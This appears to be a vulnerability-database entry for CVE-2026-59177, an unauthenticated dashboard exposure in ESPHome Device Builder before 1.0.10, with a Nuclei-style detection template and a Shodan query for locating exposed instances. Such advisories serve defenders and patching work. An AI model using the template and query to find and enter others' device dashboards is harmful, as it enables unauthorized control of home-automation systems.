CVE-2026-59177: ESPHome Device Builder <1.0.10 - Unauthenticated Dashboard Access

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

ESPHome Device Builder versions before 1.0.10 bind the trusted Home Assistant ingress site to all interfaces. A client that can reach the ingress port can therefore access the dashboard without the Supervisor's authentication proxy.

PoC代码[已公开]

id: CVE-2026-59177

info:
  name: ESPHome Device Builder <1.0.10 - Unauthenticated Dashboard Access
  author: str4k3r
  severity: high
  description: |
    ESPHome Device Builder versions before 1.0.10 bind the trusted Home Assistant ingress site to all interfaces. A client that can reach the ingress port can therefore access the dashboard without the Supervisor's authentication proxy.
  impact: |
    An unauthenticated network client may access the Device Builder dashboard and its authenticated capabilities, which can lead to unauthorized access to ESPHome projects and device-management operations.
  remediation: |
    Upgrade the ESPHome add-on to a release bundling Device Builder 1.0.10 or later.
  reference:
    - https://github.com/esphome/device-builder/security/advisories/GHSA-vv4j-m4vr-f3g6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59177
    - https://github.com/esphome/device-builder/pull/1565
    - https://github.com/esphome/device-builder/commit/b6387db3f8bf1d3df5771f40e9856b959ae4f6a1
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-59177
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: esphome
    product: device-builder
    shodan-query: http.title:"ESPHome Device Builder"
  tags: cve,cve2026,esphome,device-builder,auth-bypass,unauth,exposure

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<title>ESPHome Device Builder</title>")'
          - 'contains(body, "<esphome-app")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502204922548e6489d5588190a7ecc93b1b9e567a25071bdcc063e8d9438106f2b4cf022100b33e10661e7d87bd24c7c046be01b9e0df5c6a8fa89ba2a18e32e3339d120538:922c64590222798bb761d5b6d8e72950